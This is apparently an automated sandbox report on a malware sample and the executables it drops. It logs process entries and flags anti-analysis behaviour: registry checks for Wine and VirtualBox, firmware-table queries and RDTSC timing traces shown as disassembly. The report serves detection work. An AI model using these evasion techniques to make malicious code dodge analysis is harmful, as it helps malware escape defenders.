Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F3D85A

10_2_00F3D85A

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009134 second address: 1009138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009138 second address: 100913C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100913C second address: 100918E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F4B2071E94Eh 0x00000010 mov eax, dword ptr [eax] 0x00000012 jns 00007F4B2071E950h 0x00000018 pushad 0x00000019 jno 00007F4B2071E946h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 jne 00007F4B2071E94Ch 0x0000002d pushad 0x0000002e jmp 00007F4B2071E953h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100920E second address: 10092A1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4B20D90AC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or di, 31F4h 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 sub dword ptr [ebp+122D27F1h], ecx 0x00000019 xor dword ptr [ebp+122D26A9h], edx 0x0000001f popad 0x00000020 push 045EE300h 0x00000025 push eax 0x00000026 jg 00007F4B20D90AC8h 0x0000002c pushad 0x0000002d popad 0x0000002e pop eax 0x0000002f xor dword ptr [esp], 045EE380h 0x00000036 mov esi, 5ACD038Ah 0x0000003b push 00000003h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F4B20D90AC8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D39E2h] 0x0000005d mov ecx, dword ptr [ebp+122D201Dh] 0x00000063 mov ecx, dword ptr [ebp+122D37FAh] 0x00000069 push 00000000h 0x0000006b sbb edx, 409F029Eh 0x00000071 push 00000003h 0x00000073 xor cx, 22D2h 0x00000078 call 00007F4B20D90AC9h 0x0000007d push eax 0x0000007e push edx 0x0000007f jno 00007F4B20D90ACCh 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10092A1 second address: 10092BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E959h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF71C2 second address: FF71C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028971 second address: 1028975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028975 second address: 10289A2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B20D90AC6h 0x00000008 jg 00007F4B20D90AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007F4B20D90ACEh 0x00000016 je 00007F4B20D90AC6h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push esi 0x0000001f jmp 00007F4B20D90ACCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028CC4 second address: 1028CCE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B2071E946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028CCE second address: 1028CD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102915C second address: 1029161 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029291 second address: 10292A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90AD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10292A5 second address: 10292A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10292A9 second address: 10292AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10292AF second address: 10292C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4B2071E94Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10292C3 second address: 10292C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10292C7 second address: 10292CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10295A4 second address: 10295A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10295A8 second address: 10295B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10295B1 second address: 10295BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029747 second address: 1029750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029750 second address: 1029756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10299EE second address: 10299F8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4B2071E946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10299F8 second address: 1029A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4B20D90ACAh 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029A11 second address: 1029A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E952h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029A27 second address: 1029A58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4B20D90AD3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029D0C second address: 1029D11 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A300 second address: 102A304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A304 second address: 102A31D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B2071E94Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A31D second address: 102A321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A5F1 second address: 102A5F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A5F5 second address: 102A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F4B20D90AC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A603 second address: 102A621 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B2071E946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4B2071E952h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A621 second address: 102A625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AA59 second address: 102AA7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F4B2071E958h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AA7B second address: 102AA8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4B20D90AC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10014F2 second address: 10014F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F514 second address: 102F535 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4B20D90AD6h 0x00000008 jmp 00007F4B20D90AD0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F535 second address: 102F54A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DF1F second address: 102DF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F7F6 second address: 102F810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F4B2071E961h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034270 second address: 103428B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4B20D90AC6h 0x0000000a jmp 00007F4B20D90AD1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034520 second address: 1034552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F4B2071E951h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F4B2071E952h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10346D2 second address: 1034704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F4B20D90AD2h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034704 second address: 1034711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034711 second address: 103472B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4B20D90AD2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103472B second address: 103472F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10349A7 second address: 10349AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034CD6 second address: 1034CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034CDA second address: 1034CEA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4B20D90AC6h 0x00000008 js 00007F4B20D90AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103726E second address: 1037275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037275 second address: 103727B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA71D second address: FFA723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA723 second address: FFA746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F4B20D90AC6h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F4B20D90ACDh 0x00000014 jl 00007F4B20D90AC6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039C7D second address: 1039C83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039C83 second address: 1039C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A62F second address: 103A635 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A635 second address: 103A6DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F4B20D90AD6h 0x00000010 jmp 00007F4B20D90AD0h 0x00000015 xchg eax, ebx 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F4B20D90AC8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 movzx esi, cx 0x00000033 nop 0x00000034 pushad 0x00000035 jmp 00007F4B20D90AD9h 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d jmp 00007F4B20D90AD8h 0x00000042 popad 0x00000043 popad 0x00000044 push eax 0x00000045 pushad 0x00000046 push esi 0x00000047 jmp 00007F4B20D90AD7h 0x0000004c pop esi 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A751 second address: 103A755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A755 second address: 103A77B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B20D90AD7h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A831 second address: 103A837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A837 second address: 103A83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AADB second address: 103AADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103ABE1 second address: 103ABE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
